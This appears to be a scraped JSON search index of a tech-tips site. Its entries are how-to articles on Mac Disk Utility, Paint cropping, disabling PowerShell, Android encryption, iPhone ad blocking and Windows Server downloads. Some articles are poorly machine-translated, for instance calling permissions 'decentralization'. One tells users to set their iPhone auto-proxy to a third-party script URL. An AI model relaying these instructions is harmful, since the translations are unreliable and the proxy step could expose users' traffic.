2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCfpLhuwc9mmGasopa2rbHR\n","link":"/post/how-to-hook-up-a-trailer/","section":"post","tags":null,"title":"How to Hook Up a Trailer"},{"body":" Much as you might use a filing cabinet and file folders to organize paper documents, you can use your computer as an electronic filing system to manage digital files including photographs and documents. Choose what files you want to...\nMethod 2of 2:\nCreating a File System on Mac  Choose what files you want to organize. To select multiple files that are listed together, click the first file you want to select and then hold ⇧ Shift and click the last file. Control-click one of the files and then click New Folder with Selection . Type a name for the new folder. Press ⏎ Return.   Add subfolders to your main folder. To open the main folder, press and hold ⌘ Command while you double-click the folder. In the same way you created the main folder, create subfolders to organize your files.\n  Backup your organized files. Use Time Machine to copy them to an external hard drive, to Time Capsule, or to an OS X server an your network. If your computer hard drive fails, you can use your backup to restore the files to a new hard drive. In the Time Machine menu, click Time Machine Preferences.[1] Click the Select Backup Disk button.[2] Choose where you want to backup your files. This may be an external hard drive or Time Capsule. Select the drive and click Use Disk.[3] If you want to backup on multiple drives, you can select Add or Remove Backup Disk and this will give you the option to add another backup device. This is an optional, additional safety step.[4]   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqeinK6vtdmeZJqmXZq5pq%2FTq6anoZNis6q4yKeeZqupqMGmuQ%3D%3D\n","link":"/post/how-to-organize-an-electronic-filing-system/","section":"post","tags":null,"title":"How to Organize an Electronic Filing System"},{"body":"Disk Utility has long been integrated with OS X to work with Mac storage devices, including hard drives, SSDs, CDs, DVDs, flash drives, etc. Disk Utility is flexible, not only can delete, format, partition and work with disk images, but also the first line of defense to verify if a drive is working correctly. Disk Utility also fixes problems that are having problems, including problems that may cause the Mac to fail while booting or freezing while in use.\nFind out about Disk Utility - a tool to repair hard drives and decentralize drives Two versions of Disk Utility: Which is the right choice for you? 1. Use First Aid to repair your hard drive and assign drive permissions Use First Aid with OS X Yosemite and previous versions First Aid feature Fix the drive Modify disk permissions What you need  2. Repair hard drive and volume Fix the drive  3. Modify decentralization When to use Repair Permissions What does Repair Permissions really fix?  Two versions of Disk Utility: Which is the right choice for you? Disk Utility has evolved over time, gaining more features after every newly released OS X version. Previously, Apple only added features to the original Disk Utility application. But when OS X El Capitan was released, Apple decided to create a new version for Disk Utility. Although the name remains the same, the user interface of Disk Utility has undergone a spectacular molting. Therefore, the following article is two separate instructions to work with Disk Utility's First Aid feature.\n1. Use First Aid to repair your hard drive and assign drive permissions   If you are using OS X El Capitan or macOS Sierra or above, you should switch to the article: Fix Mac hard drive with Disk Utility's First Aid feature, for instructions on First Aid features, corresponding to 2 Disk Utility version.\nUse First Aid with OS X Yosemite and previous versions If you are using OS X Yosemite or older versions, this section will guide the process of using Disk Utility's First Aid feature for the OS X version you are using.\nFirst Aid feature Disk Utility's First Aid feature provides two unique functions: Helps repair hard drives and allows you to modify permissions for files and folders.\nFix the drive Disk Utility can repair common disk problems, from broken entries in folders to unspecified files, often due to power outages, forced rebooting or exiting the application. Disk Utility's Repair Disk feature is excellent at fixing the drive, as well as the volume file system. It can fix most hard drive directory structure, but does not replace regular data backup strategy. The Repair Disk feature is not as powerful as some third-party applications, tools that better perform disk repair and restore files. These are things that Repair Disk is not designed to do.\nModify disk permissions Disk Utility's Repair Disk Permissions feature is designed to restore file or folder access to the state expected by the operating system and applications. Permission is the flag set for each item in the file system. They determine whether an item can be read, written or executed. Initial permissions are set when an application or file group is installed. The installation includes the .bom file (Bill of Materials) which lists all installed files and permissions for them. Repair Disk Permissions use the .bom file to verify and correct authorization issues.\nWhat you need Disk Utility, located at / Applications / Utilities /. The interval from 10 minutes to 1 hour, depending on which First Aid tool you will use. 2. Repair hard drive and volume   After the repair process is successful, Disk Utility will not display any error or warning messages, but will display the green text that determines the volume is OK.\nDisk Utility's Repair Disk can work with any hard drive connected to a Mac, except the boot drive. If you choose the boot drive, the Repair Disk button will be gray. You will only be able to use Verify Disk feature, to check the hard drive and determine if there is any problem.\nYou can still repair the boot drive with Disk Utility. To do so, you must boot from another hard drive that has installed OS X, boot from the OS X installation DVD or use the hidden volume Recovery HD included with OS X Lion and newer versions. In addition to the time needed to reboot from another hard drive, installation DVD or HD Recovery, using Disk Utility's Repair Disk feature will work like the aforementioned First Aid tool and also take a while. the same, similar. If you need to boot from the OS X installation DVD, you'll find instructions on how to do it in this article: Create Mac OS X Lion installation disc for Mac.\nFix the drive First, back up your hard drive. Although the hard drive is experiencing some problems, you should create a new backup of this hard drive before running Repair Disk. Although Repair Disk usually does not cause any new problems, the drive may be unusable after you try to repair it. However, this is not the fault of Disk Repair.\nB1 : Launch Disk Utility, located at / Applications / Utilities /.\nB2 : Select the First Aid tab .\nB3 : In the left pane, select the hard drive or volume you want to run Repair Disk.\nB4 : Check the Show details box .\nB5 : Click the Repair Disk button .\nB6 : If Disk Utility logs any errors, repeat the Repair Disk process until Disk Utility reports The volume xxx appears to be ok .\n3. Modify decentralization   Disk Utility's Repair Permissions feature is probably one of the most used services in OS X. Whenever there is something wrong with your Mac, users often run Repair Permissions. Fortunately, using Repair Permissions is quite safe. Even if the Mac does not need to fix any permissions, Repair Permissions is not capable of causing any kind of problem, so this is one of the things to do in any case.\nWith the advent of OS X El Capitan, Apple removed the Repair Permissions feature from Disk Utility. The reason behind this move is that starting from OS X El Capitan, Apple began locking system files, preventing the right to change from the beginning. However, whenever the operating system is updated, system file permissions will be checked and corrected automatically, if needed.\nWhen to use Repair Permissions You should use Repair Permissions if you are using OS X Yosemite or an older version and have an issue with an application, such as an application that does not start, boots very slowly, or one of its plugins refuses to work. dynamic. Authorization issues can also cause the Mac to take longer than usual to boot or shut down.\nWhat does Repair Permissions really fix? Disk Utility's Repair Permissions feature only repairs files and applications installed with the Apple installer package. Repair Permissions will verify and correct if necessary, all Apple applications and most third-party applications, but will not check or repair the files or applications you copied from another source or files and folders in Home. In addition, Repair Permissions will only verify and correct files located on the volume containing OS X capable of booting.\nTo use Repair Permissions, do the following:\nB1 : Launch Disk Utility, located at / Applications / Utilities /.\nB2 : Select the First Aid tab.\nB3 : In the left pane, select the volume you want to run Repair Permissions. (Remember, the volume must contain a bootable copy of OS X).\nB4 : Click the Repair Disk Permissions button.\nB5 : Disk Repair will list any files that do not match the expected decentralization structure. Repair Permissions will also try to change the permissions for those files to return to the expected state. Not all permissions are changeable, so some files are always displayed with different permissions than expected.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqltdKkZK6smaG2tcWMraZmqpWlrqq%2BjK2fnmWYlr%2BlecOroK%2BdXZa7pXnDnpqepqSnrq212Z5kraCVYrGztdWe\n","link":"/post/how-to-use-disk-utility-to-repair-the-hard-drive-and-decentralize-the-drive/","section":"post","tags":null,"title":"How to use Disk Utility to repair the hard drive and decentralize the drive"},{"body":"You need to crop the image without having to download any additional software to your computer. Paint is a photo editing tool built on Windows, you do not need to install it, just open the tool and use. Paint provides all the basic features: add text, delete details, add shapes, draw on photos, rotate photos, resize, also has a cropping feature to help you crop your photos quickly.\nBelow is a detailed guide on how to crop photos with Paint, you can refer and perform.\n  Step 1: Open the image with Paint Right-click on the image -\u0026gt; Open with -\u0026gt; Paint.\n  Or you open Paint by entering the keyword Paint into the Start Menu and select Paint .\n  On the Paint interface, select the Paint -\u0026gt; Open icon as shown below.\n  Then navigate to the folder containing the images and select the image you want to cut, then click Open .\n  Step 2: Crop the image Paint provides you with 2 ways to crop the image: crop it according to the rectangular selection and crop the image as you like. Below will show you 2 ways to crop a photo.\nMethod 1: Crop the image according to the rectangular selection.\nSelect Select -\u0026gt; Rectangular selection.\n  Next, use your mouse to hold and select the area to crop, then click Crop to crop the image.\n  So you will have just cropped image.\n  Method 2: Cut the image as you like.\nSelect Select -\u0026gt; Free-form selection.\n Next, use your mouse to draw around the object you want to crop, then click Crop to crop the image you have just selected.\n  The result will be the image that you have chosen to crop.\n  Step 3: Save the image Click the Paint icon -\u0026gt; Save if you want to save the cropped image instead of the old image or choose Save As if you want to save a new image, keep the old image.\n  Above is the guide to cut photos in Paint in the most detailed way, you can refer and do the same to cut the image you want. Also if you want to add text to your photos with Paint, you refer to the article here: http://TipsMake.vn/cach-chen-chu-vao-anh-bang-paint-tren-windows/\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnCq6apZaCdvLW70mauoqyYYr2itc2t\n","link":"/post/instructions-on-how-to-crop-photos-with-paint/","section":"post","tags":null,"title":"Instructions on how to crop photos with Paint"},{"body":"Recently, Stable - the stable version of the Edge browser using Microsoft's Chromium core has been leaked. This Edge Stable can be considered a complete version and is ready to be released in place of the old EdgeHTML.\nThis build has a code of 77.0.235.9, you can download and experience this version here.\nUnlike the version for developers or Canary versions, this Microsoft Edge version is the final standard version with features that have been thoroughly tested and released to users so it is rated fairly stable.\n  Following the notes from the mspoweruser page, the old Edge version may be deleted and replaced completely when you install the new Microsoft Edge version. Also the smiley icon (Feedback button) that appears next to the avatar of the User Profile will no longer be available.\nThere is an Edge Chromium browser, invite download and experience Microsoft Edge Chromium has a feature that restricts videos from automatically playing, inviting experience 7 reasons you should try Microsoft Edge Chromium once instead of Google Chrome ncG1vNJzZmismaXArq3KnmWcp51kuaatyp6bZqyYmnq0wMCbo55lppq%2FtLXOp2Sonl2itqS%2Bzqymn6xdmrGosYybqaivo5q%2FbsHSoqWgZZOdv7C5yK6kZqOVp7umuIyipa%2BhpJqxbsDOZpuor56hvKKwjJqlnWWVrb2mvsiepZyd\n","link":"/post/leaked-the-stable-version-of-microsoft-edge-browser-using-chromium-kernel-invited-to-download-and-experience/","section":"post","tags":null,"title":"Leaked the Stable version of Microsoft Edge browser using Chromium kernel, invited to download and experience"},{"body":"Dell Inspiron 14R 5420 is Dell's first laptop model running Intel Core i 3rd generation processor in Vietnam market for VND 15.9 million.\n\u0026gt;\u0026gt;\u0026gt; Thefirst Ivy Bridge laptop from Dell in Vietnam\nJune is the time when many computer manufacturers will start launching models of Intel Core i Ivy Bridge processors to Vietnam market. Dell is one of the first names with the Inspiron 14R 5420. It runs on a 2.5 GHz Intel Core i5-3210M processor with the latest 3rd generation Core i platform. This new line processor offers up to 15% increase in performance over the previous generation.\nInspiron 14R 5420 has 14 inch screen resolution of 1366 x 768 pixels, 4 GB RAM memory, 500 GB hard drive and Nvidia GeForce GT630M graphics card.\nAnother special feature of Dell's new laptop model is that it is equipped with up to 4 USB ports which are the latest 3.0 standard with charging technology when the machine is turned off. This product also has VGA, HDMI, LAN and optical read / write DVD drives. The product comes preinstalled with Ubuntu 11.1 operating system.\nThe machine has a reference price of VND 15.9 million excluding VAT.\nBelow is the actual picture of this product.\n  The cover of the machine is covered with a high quality aluminum imitation plastic.\n  14 inch screen size.\n  Chiclet keyboard follows the tradition of Dell.The navigation keys of the machine are quite large.\n  The touchpad gives the initial feel not really smooth.\n  Dell 14R's new design is much more natural on rounded contours.\n  Left side with VGA port, power, heat sink slot, HDMI, 2 USB ports, headphone and microphone jacks.\nSee more photos of Dell Inspiron 14R 5420\n  Right side with optical drive, two USB ports and LAN port.\n  The drive comes with the machine.\n  This model runs Intel Core i 3rd generation and Ubuntu operating systems.\n  Heat sink and exhaust fan on the underside.\n  Front side speaker system.\n  Screen mirror shadow when used outdoors.\n  Hardware parameters.\nncG1vNJzZmismaXArq3KnmWcp51kvam706hkqJ5dqbWmecWiqaysXZ7DunnBq6Cdn5ViuaK806inZp6ipLpusMSlow%3D%3D\n","link":"/post/photo-of-the-first-ivy-bridge-laptop-from-dell/","section":"post","tags":null,"title":"Photo of the first Ivy Bridge laptop from Dell"},{"body":"PowerShell is a powerful command-line tool for users to install and manage Windows 10. However, this tool can also be used for malicious purposes if it falls into the hands of strangers. So, if you don't often use PowerShell, disable it to ensure the safety of your computer.\nMethod 1: Turn off PowerShell using Group Policy Step 1: Press the Windows + R combination to open the Run dialog box, then enter gpedit.msc and Enter.\n  Step 2: In the Group Policy window that appears, go to User Configuration \u0026gt;\u0026gt; Administrative Templates \u0026gt;\u0026gt; System.\n  Step 3: Now, look in the right pane for Don't run specified Windows applications and click on it.\n  Step 4: In the pop-up window, check the Enabled box. Then, click the small Show… button in the lower frame.\n  Step 5: A new window appears, enter powershell.exe under the value column. You can also type powershell_ise.exe and pwsh.exe to disable ISE (server application for PowerShell). Click OK when finished.\n  Step 6: Go back, click Apply then OK to apply the changes.\n  Now you will no longer be able to open PowerShell. If at any time you want to re-enable PowerShell, just go back to the Don't run specified Windows applications window and select Disabled.\nMethod 2: Turn off PowerShell in Windows 10 with Local Security Policy Editor Local Security Policy Editor in Windows 10 allows users to manage security protocols.\nStep 1: Press Windows + R to open the Run dialog box, then type secpol.msc and Enter.\n  Step 2: In the Local Security Policy window, right-click Software Restriction Policy and select New Software Restriction Policies.\n  Step 3: Right-click Additional Rules \u0026gt;\u0026gt; Select New Hash Rule…\n  Step 4: Click Browse.\n  Step 5: In the Browse… window, enter the following path in the address bar.\n%SystemRoot%system32WindowsPowerShellv1.0\n  Step 6: Select powershell.exe in the list and click Open.\n  Step 7: When back to the New Hash Rule window, click Apply to apply.\n  Now, restart your computer for the changes to take effect.\nIf you ever want to re-enable Windows PowerShell, just reopen the Local Security Policy Editor and click Additional Rules. Now, right click on the commands you created and select Delete.\n  Windows PowerShell is a powerful tool that not everyone should use. If you do not have much knowledge about this tool, turn it off by the two ways above.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmba0rcGlnGaon6yys7%2FHnqOlZZmjeri1zZ2msKtdZn0%3D\n","link":"/post/steps-to-disable-powershell-in-windows-10/","section":"post","tags":null,"title":"Steps to disable PowerShell in Windows 10"},{"body":"The most popular photo editing software of the past 10 years has also caused many troubles for absent-minded editors.\n  Her right fingers seemed to be born from . feet.\n  Invisibility bag.\n  Unbalanced body of the model.\n  The fingers are enough to scare magazine readers.\n    The face of the colored man in a photo on Microsoft's Polish website was replaced by a white person but his hand remained the same. Microsoft had to apologize after being criticized by the online community.\n  Octopus boy.\n  Too many hands!\n  Where does the little finger go?\n  Minutes neglected by Computer Desk expert when making computer ads.\n  Giant's legs.\n  The knee is lost.\n  The hand is copied and pasted.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BYpqelqHqir8Kim56mpGK9qbvTqKqhp6Bitq9506GcZpyVmK6lsQ%3D%3D\n","link":"/post/the-famous-accident-photoshop-in-the-decade/","section":"post","tags":null,"title":"The famous 'accident' Photoshop in the decade"},{"body":"iMessage is Apple's popular messaging app that allows users to send and receive news on iPhone, iPad and even Mac computers. iMessage is the \"specialty\" of the Apple ecosystem and of course the tech giant will never bring it to Android.\nTherefore, many programmers have tried to put iMessage on Android. And it seems that this difficult problem has finally been solved. That is AirMessage - a new Android application.\n iMessage is Apple's famous messaging app.\nHowever, to be able to use iMessage on Android via AirMessage, you will have to do more complicated work than simply download an app on a smartphone.\nTo be able to use this feature on Android smartphones, you must meet the requirement that there is a computer running MacOS.\nThe installation process on the Mac is a bit complicated, you can see the instructions on the AirMessage homepage.\nhttps://airmessage.org/guide/   Once completed, you can message, send photos and videos or any files you want.\nThe developer of AirMessage ensures that the data will be secure, simply that your smartphone will \"chat\" with the Mac via an encrypted channel, so you can be assured of the connection between your phone. I and iMessage.\n  If you are an iMessage lover but want to use Android smartphone, AirMessage will be the choice for you. You can access the homepage of AirMessage to download the application on Android and install on Mac follow the link above.\nncG1vNJzZmismaXArq3KnmWcp51krqq%2BzJ6qrJmXmnqivM%2BloJyZpJ68r3nToZitZZGhubDD0marqGWlqLJutcyeqqyZl5p6sLqMmqWdqp%2BesW61za%2BgrZ1dmby4usuomJ1lkaOxbrHXqZyroZWjsKY%3D\n","link":"/post/application-that-allows-to-use-imessage-on-android-invite-download-and-experience/","section":"post","tags":null,"title":"application that allows to use iMessage on Android, invite download and experience"},{"body":"By default, Android OS does not allow full device encryption to protect data, but if you are looking for a solution to encrypt files on your device, a third-party application will be needed. So here is how you can encrypt your data.\nTo encrypt files on your Android device, you will have to use the Andrognito 2 application, this application uses 256 bit encryption algorithms to securely protect your files.\nStep 1 : After successfully installing on the machine, turn on the application. When the application is launched for the first time, you need to enter a 4-digit name and PIN that will be used to protect the file on your device. After the declaration is complete, click the arrow at the bottom to move on to the next step.\n  Step 2 : Re-enter the 4-digit PIN again to confirm it. Then press the arrow icon to continue.\n  Step 3 : To create an extra layer of security, Andrognito 2 will ask you to create a security question . Please enter questions and answers as required, then click Next to continue.\n  Step 4 : In this next step you will be able to create a ' security box ' so you can transfer the data you need to encrypt. Enter a name for the security box, then enter a 4-digit PIN code . Then click the arrow icon at the bottom and you will be taken to the next screen.\n  Step 5 : To add files to the security box you just created, just click the plus sign \" + \" on the screen of the application, you can select All Files to collect all data into one place or select each type Data you want to encrypt separately with Images and Videos options , depending on your need for data encryption.\n  Step 6 : Click and hold on a file to display encryption options, you can also select multiple files to be encrypted at the same time. After selecting, just click the lock icon in the upper right corner to encrypt the selected files.\n  Step 7 : Once the files have been successfully encoded, you will see the orange OK icon displayed in the bottom right corner of the application.\n  Thus the selected files were encrypted using a military level AES 256-bit encryption algorithm.\nIf you want to decrypt the files, the steps are similar to the following.\nStep 1 : Launch the Andrognito 2 app on your device and enter the 4-digit PIN just like you originally declared to access the protected data\n  Step 2 : After accessing, you can see all the files you have encrypted. Click and hold the names of the files you want to decrypt, then click the unlock icon in the upper right corner. Immediately your data will be decrypted so you can access and use it\n  Compared to a file locking solution, when encrypting them, your data will be better protected because it will completely change your files to make them impossible to open with any of the above tools. suffered.\n4 best sound improvement apps for Android 5 steps to help your Android device run smoothly like new Small tips for adding background music when opening apps on Android Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksaLAwGacp5uirr21tc6nZKimXZa7pb7Oops%3D\n","link":"/post/data-encryption-on-android/","section":"post","tags":null,"title":"Data encryption on Android"},{"body":"Youtube is currently the world's largest video sharing application with hundreds and thousands of videos shared every day. And the access to this application every day can be up to a billion, but with video sharing to users, it is annoying promotional videos.\nOn a computer web browser, we have a way to block ads through tutorials. Guide 3 ways to block ads on YouTube with extensions. With Android phones, you can refer to the article How to block Youtube ads on Android devices (without Xposed) to perform YouTube ad blocking on Android devices\nBut on iPhone or iOS operating system in general, how to implement ad blocking on iPhone is very simple and not too complicated. You can look at the instructions below to make blocking YouTube ads on iPhone.\nInstructions for creating GIF images on YouTube do not need software How to create and delete video playlists on YouTube All the errors on Youtube and how to fix it How to block ads, turn off YouTube ads for iPhone Step 1: Go to the Settings application, select Wifi \u0026gt; click the exclamation icon next to the Wifi wave icon you are accessing. Your Wifi editing menu will now appear, scroll down and click Proxy Configuration .\n   Step 2: In the Configure proxy menu, please turn to Auto , then paste the link \"https://newapp.vn/blockads.js\" into the URL to block ads from Youtube on iPhone, then Click Save .\nThen turn on YouTube and you will no longer see any ads that bother you anymore.\n   Even applications you regularly use are removed ads.\n  So with the guide to remove YouTube ads on iPhone in this article, you can watch YouTube videos comfortably without worrying about being bothered by ads. In addition to blocking ads on YouTube, this application also allows users to use many other features for watching their videos, including how to download videos from YouTube to phones and computers.\nYou can refer to how to download videos on Youtube in 10 ways to download YouTube videos quickly, simply and how to download videos on Youtube to Android phones in the article How to download YouTube videos to Android phones.\nVideo tutorial to block Youtube ads on iPhone See more:\n2 steps to make video calls on Facebook How to fix Flash Plugin error on Google Chrome, Coc Coc, Firefox Fix Shockwave Flash crash error in Google Chrome How to delete all messages on Facebook Messenger with just one click ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecCdqmaspae7brvFn2Syp6WpwqOxjJqbrGWfo3qqvMeopZ4%3D\n","link":"/post/how-to-block-ads-turn-off-youtube-ads-on-iphone/","section":"post","tags":null,"title":"How to block ads, turn off Youtube ads on iPhone"},{"body":" This wikiHow teaches you how to use your iMac as a monitor for a MacBook, as well as how to share files and printers between both computers. Determine the cable you'll need for your iMac. The type of cable you'll need varies by...\nMethod 2of 2:\nSharing Files Between Computers  Connect both Macs to the same wireless network. If you don't have a wireless network, you can use an Ethernet cable instead (just connect the cable to an Ethernet port on both computers, and then move to the next step). Here's how to connect both computers to Wi-Fi:[2] If you see  near the top-right corner of the screen, click it, and then select Turn Wi-Fi On. Click  at the top-right corner of the screen. Select a network. Enter the password and click Join.   Click the   menu on the computer that has something to share. It's at the top-left corner of the screen.[3]   Click System Preferences.\n  Click Sharing. A list of sharing services will appear.\n  Set up file sharing. Here's how to allow users of the other computer to access the files on this one:[4] Click File Sharing. Click + under the folder list. Select a folder and click Add. Anyone with account on this Mac can access it from the other computer. If you want to restrict access to certain users, select the folder, click + under the user list, then select who should have access. You can add users with local accounts (regular logins you set up on this Mac) or by Apple ID by selecting them from your contacts.  Make note of the IP address on the Sharing screen. It should look like ″afp://10.0.0.1″ or ″smb://10.0.0.1″.   Open Finder   on the other computer. It'll be the first icon on the Dock, which is usually at the bottom of the screen.   Click the Go menu. It's at the top of the screen.\n  Click Connect to Server.\n  Enter the IP address for the other computer. This is the address you found on the other computer's Sharing screen.\n  Click Connect.\n  Choose how to connect. Select Registered User if you want to log into a local account on the other computer. Select Apple ID to log in that way. Select Guest if the files don't require a login.   Follow the on-screen instructions to log in. Once you've connected to the other computer, you can access its files.\n  Set up printer sharing (optional). If you'd like to share the printer from this computer, return to the Sharing settings, click Printer Sharing, and choose a printer. Once shared, you'll be able to print to it from any app on the other computer by selecting the printer (and logging in, if prompted to do so). Anyone with an account on this computer can print by default. To select specific users, click + under the user list, then choose who should be allowed to print.[5]   Set up other types of sharing (optional). If you want users of the other computer to be able to connect to this one for remote administration or screen sharing, choose one of those options from the list, then follow the same instructions as you did for file and printer sharing.\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9NmmGalkZivsLvKZquoZZGjeqq5wJw%3D\n","link":"/post/how-to-connect-a-macbook-to-an-imac/","section":"post","tags":null,"title":"How to Connect a Macbook to an iMac"},{"body":"The steps to download Windows Server 2022, download ISO Windows Server 2022 are as follows:\nVisit Microsoft's Windows Server 2022 download page by clicking the link below Windows Server 2022 ISO file download page Select Download the ISO and then click Continue   \nEnter all the required information and then click Continue   \nClick on the language selection box (depending on your needs, but the most popular and easy to use is still English, there is no Vietnamese option)   After selecting the language, click Download to start the download process Windows Server 2022 ISO file is over 5GB so it will take a long time to download After downloading, you can use this ISO file to install Windows Server 2022 on a virtual machine or create Windows Server 2022 installation media Before installing Windows Server 2022, you need to note a little about the minimum configuration that this operating system requires. Below, TipsMake.com summarizes some of the most important requirements:\nCPU: 64-bit 1.4GHz processor with NX and DEP support, CMPXCHG16b, LAHF/SAHF and PrefetchW RAM: 512MB (2GB with server with Desktop Experience installation option), with ECC or similar technology Storage capacity: At least 32GB Connectivity: An internet adapter with the ability to provide a connection of 1 gigabit per second Other requirements: Have UEFI 2.3.1c and firmware that supports Secure Boot, have TPM (Trusted Platform Module), graphic device and monitor that support Super VGA resolution (1023 x 768 pixels) or higher Good luck with your download!\ndownload iso windows server 2022 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZLChnpm8uL%2BMrJyrrpWnenN8kWtknaeno7mwrcNmpp%2BemZi2oriMsKCnnJ%2BswG6%2FxK%2Bcq2ViZX9zecispmaeoqS6brnInKmoq5%2BbwQ%3D%3D\n","link":"/post/how-to-download-windows-server-2022-download-official-windows-sever-2022-iso-from-microsoft/","section":"post","tags":null,"title":"How to download Windows Server 2022, download official Windows Sever 2022 ISO from Microsoft"},{"body":"When we put the Word document into Print Preview mode, we will see how the Word page displays when it becomes a paper document, aligning the Word document accordingly to re-align as needed. However, all versions of Word do not allow us to change the content when in Print Preview mode but only see how the page displays. If you want to edit, you must enter the Edit mode.\nHowever, users can fully use the Print Preview Edit Mode to edit content even in Print Preview mode. We can completely change the Word content easily. The following article will guide you how to turn on text editing in Print Preview Word mode.\nSome tips when printing text in MS Word How to print Excel on an A4 page How to print hidden text in Word? How to display the ruler in Micorosoft Word 2010, Word 2003, 2007, 2013 and Word 2016 Instructions for editing Word in Print Preview Print Preview mode in Word will not have content editing. Instead, you will switch to Print Preview Edit Mode.\n  Step 1:\nAt the interface in Word, click File and select Options to open the interface to customize the setting of Word.\n  Step 2:\nIn this interface, click on the Quick Access Toolbar in the list to the left of the interface. Looking to the right of the Choose commands from section we will select All Commands in the drop down list.\n  Step 3:\nLook down the content below and navigate to the Print Preview Edit Mode section , then click Add to add this mode to the Quick Access Toolbar.\n  As a result, we will see the Print Preview Edit Mode icon as shown below.\n  Step 4:\nWe click on the Print Preview Edit Mode icon to switch to Print Preview mode and uncheck the Magnifier box .\n  Now you can edit the content of Word documents right in the Print Preview interface.\n  Only with a simple operation, users can edit the content in Print Preview mode, by turning on the Print Preview Edit Mode. These activation actions are applied to different versions of Word.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyem6KsmaO0brXNZqeroZ6perG%2BxK%2Bgnq9drLyzsA%3D%3D\n","link":"/post/how-to-enable-editing-in-print-preview-word/","section":"post","tags":null,"title":"How to enable editing in Print Preview Word"},{"body":" Nothing is quite so frustrating as having a song you can't remember the name of stuck in your head. If you only know a couple of lyrics or can hum a brief song bar, all is not lost. Utilize search engines or music recognition websites to...\nMethod 1of 3:\nRunning Online Searches  Search any lyrics you can remember. Close your eyes, and concentrate on any words you can remember from the song. Maybe you remember the phrase \"destiny is calling me\" or \"wish we could turn back time.\" Use quotation marks around specific phrases to narrow your search. Remembering more lyric phrases increases your likelihood of finding the song.[1] Avoid excessively searching common words like \"the,\" \"and,\" \"or,\" \"but,\" and so on. These can clog up your search with unrelated results.   Add context to your search terms. Perhaps you heard this song on a specific TV show or movie. Search for \"song playing during the credits of Grey's Anatomy, season six\" or \"song featured on The Voice in February 2017.\" Check movie soundtracks or scores for instrumental music.\n  Try alternate spellings. The song you're looking for might repeat a specific name. If the way you're spelling it isn't bringing up results, retry your search with less common spellings. You might try \"Kjiersten\" instead of \"Kiersten,\" or \"Zach\" rather than \"Zack.\"[2] Make sure none of your searched words are misspelled. Sometimes pop songs intentionally misspell/abbreviate words like \"tonite\" instead of \"tonight\" or \"2\" instead of \"to.\"   Use advanced search options. Most search engines offer advanced settings, if general searches aren't offering any results. You can limit your search to pages released within a certain year, or find pages containing all of the words included. You can also eliminate certain words or lyric phrases, if the popular results aren't what you're looking for.[3]\n Method 2of 3:\nUsing Apps and Websites  Ask around on music forums. Enlist the help of music enthusiasts to find the song. Look in music forums for specific genres, like metal or instrumental. Make a post including as many details about the song you can remember. Include lyric phrases, any relevant context, and anything else you remember. WatZatSong and Name My Tune are both general music finding sites. The popular social news site Reddit hosts a forum called \"r/tipofmytongue,\" where users can ask for help identifying unknown songs.[4]   Download music recognition apps. If the song is currently playing while you're in a restaurant or book store, some apps allow you to record the song and upload it. The app will then match the recording to songs in their database and offer the most likely match. Some well-known music recording apps include Shazam and MusicID.[5]\n  Enter the melody into a searchable music site. Music recognition apps might not aid your search if the song's already ended. If you have a microphone, some music websites allow you to sing the melody or tap the rhythm of the song and upload the recording online. Try singing or tapping the melody into your microphone. The website will then compare your recording to their song database and return with possible matches.[6] Midomi,Tunebot, and Musipedia all allow users to upload recordings.   Visit artist websites. You might know the song's artist but not the specific song. Check out their official website and scroll through their album lists. Input every song title into a music website like Spotify or iTunes until you find what you're looking for.\n Method 3of 3:\nBrowsing Music Charts  Look up the most recent music charts for new songs. If you've heard this song on a \"Top 40\" or \"Greatest Hits\" channel, you might have luck checking top music charts. Check music charts from your city or country for the best results. Popular charts include Billboard,Official Charts, and BBC Radio 1.\n  Check genre-specific charts. Some songs are popular within a specific subculture but otherwise unknown. If you're not having luck with \"Top 100\" sites, try charts focused on a certain genre. Music charts for country, rap, Latin, and other genres.[7]\n  Find music charts from past decades. You might have heard an \"oldies\" song popular ten or more years ago that newer charts won't list. If you know the approximate time period it might have been released, search for music charts from earlier generations. Billboard allows users to view the Top 100 list from 1953 and onward. Other sites have cataloged Top 100 lists from as early as 1940.[8]   Contact your local radio station. Call or email the radio station you heard the song on, and ask whether they know which songs they played on a certain date or time. Include any relevant information you can remember. Some radio stations also post their schedules online, which you can peruse on your own. When traveling, you can use a radio locator to find info about a specific station.[9]   Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FurYyspqefXa68tnnDqKWtZZujvLh506GcZqaRorJuu8U%3D\n","link":"/post/how-to-find-a-song-you-don-t-know-the-name-of/","section":"post","tags":null,"title":"How to Find a Song You Don't Know the Name Of"},{"body":"You are having a headache finding fonts for your presentation, advertising design, .? Then you suddenly find an image that uses a beautiful font. So how do we know what the font is called and where to download it? The following article will reveal you how to find fonts through the most accurate image .\nTypically, you will be introduced to specialized software that helps find fonts through images. The downside of this is that you will have to install the software on your computer so it takes up more hard drive space. In addition, when accidentally installing unknown software, your computer will be in danger of being infected with viruses, malicious code . To eliminate such risks, Thuthuatphanmem.vn will guide you to find fonts through images. directly on the web browser safely and accurately.\nStep 1: Prepare the image containing the font you want to find, save it available on your computer.\n  Step 2: On the web browser, visit the address HERE\u0026nbsp;. This is a website that allows you to search for fonts with verified and trusted images.\n  Step 3: In the main interface of the website, pay attention to the \" Drag \u0026amp; Drop your image here to identify your font \" section. Here you can perform image dragging and dropping into this frame.\n  Or more simply, you just need to click on the words \" browse by clicking here \" to add photos.\n  Step 4: After the image is uploaded, we go to the text section. Here you randomly select a word in the text. You should choose words with different letters, such as \"GOD\". Click Next Step to continue.\n  At this step you should choose the recommended font color (recommend) to display the text most clearly.\n  Step 5: Fill the corresponding characters in the cells you can see. When you're done, click Next Step .\n  In the 